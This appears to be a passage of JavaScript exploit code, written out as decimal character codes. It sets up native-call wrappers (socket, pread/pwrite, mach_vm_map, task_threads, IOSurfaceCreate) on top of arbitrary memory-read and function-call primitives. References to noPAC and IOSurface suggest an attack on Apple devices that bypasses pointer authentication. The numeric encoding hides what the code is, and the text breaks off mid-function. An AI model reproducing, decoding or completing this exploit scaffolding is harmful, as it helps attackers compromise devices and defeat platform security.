114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 111, 99, 107, 101, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 65, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 97, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 76, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 108, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 77, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 82, 67, 72, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 114, 99, 104, 114, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 34, 41, 59, 10, 108, 101, 116, 32, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 77, 79, 86, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 109, 111, 118, 101, 34, 41, 59, 10, 108, 101, 116, 32, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 34, 41, 59, 10, 108, 101, 116, 32, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 34, 41, 59, 10, 108, 101, 116, 32, 84, 72, 82, 69, 65, 68, 95, 83, 85, 83, 80, 69, 78, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 104, 114, 101, 97, 100, 95, 115, 117, 115, 112, 101, 110, 100, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 85, 78, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 117, 110, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 85, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 110, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 68, 85, 77, 80, 40, 97, 100, 100, 114, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 47, 47, 32, 102, 99, 97, 108, 108, 40, 108, 111, 99, 97, 108, 95, 100, 117, 109, 112, 44, 32, 97, 100, 100, 114, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 109, 97, 108, 108, 111, 99, 40, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 98, 117, 102, 102, 32, 61, 32, 110, 101, 119, 32, 85, 105, 110, 116, 56, 65, 114, 114, 97, 121, 40, 66, 105, 103, 73, 110, 116, 40, 115, 122, 41, 46, 97, 115, 73, 110, 116, 51, 50, 115, 41, 46, 102, 105, 108, 108, 40, 48, 120, 48, 48, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 101, 109, 46, 97, 100, 100, 114, 111, 102, 40, 98, 117, 102, 102, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 115, 112, 101, 99, 105, 102, 105, 99, 40, 107, 101, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 71, 69, 84, 83, 80, 69, 67, 73, 70, 73, 67, 44, 32, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 116, 104, 114, 44, 32, 118, 97, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 44, 32, 116, 104, 114, 44, 32, 118, 97, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 40, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 44, 32, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 111, 110, 102, 115, 116, 114, 40, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 79, 78, 70, 83, 84, 82, 44, 32, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 114, 99, 104, 114, 40, 115, 44, 32, 99, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 82, 67, 72, 82, 44, 32, 115, 44, 32, 99, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 97, 116, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 65, 84, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 108, 101, 110, 40, 115, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 76, 69, 78, 44, 32, 115, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 115, 116, 114, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 83, 84, 82, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 109, 112, 40, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 77, 80, 44, 32, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 111, 99, 107, 101, 116, 40, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 79, 67, 75, 69, 84, 44, 32, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 40, 102, 100, 44, 32, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 44, 32, 102, 100, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 40, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 40, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 44, 32, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 109, 101, 109, 40, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 77, 69, 77, 44, 32, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 99, 99, 101, 115, 115, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 67, 67, 69, 83, 83, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 108, 111, 115, 101, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 76, 79, 83, 69, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 119, 114, 105, 116, 101, 40, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 87, 82, 73, 84, 69, 44, 32, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 97, 100, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 65, 68, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 119, 114, 105, 116, 101, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 87, 82, 73, 84, 69, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 109, 111, 118, 101, 40, 112, 97, 116, 104, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 77, 79, 86, 69, 44, 32, 112, 97, 116, 104, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 40, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 44, 32, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 110, 116, 108, 40, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 78, 84, 76, 44, 32, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 108, 115, 101, 101, 107, 40, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 76, 83, 69, 69, 75, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 115, 121, 110, 99, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 83, 89, 78, 67, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 67, 79, 80, 89, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 68, 105, 99, 116, 105, 111, 110, 97, 114, 121, 83, 101, 116, 86, 97, 108, 117, 101, 40, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 68, 73, 67, 84, 73, 79, 78, 65, 82, 89, 83, 69, 84, 86, 65, 76, 85, 69, 44, 32, 100, 105, 99, 116, 44, 32, 107, 101, 121, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 78, 117, 109, 98, 101, 114, 67, 114, 101, 97, 116, 101, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 78, 85, 77, 66, 69, 82, 67, 82, 69, 65, 84, 69, 44, 32, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 116, 104, 101, 84, 121, 112, 101, 44, 32, 118, 97, 108, 117, 101, 80, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 40, 100, 105, 99, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 44, 32, 100, 105, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 40, 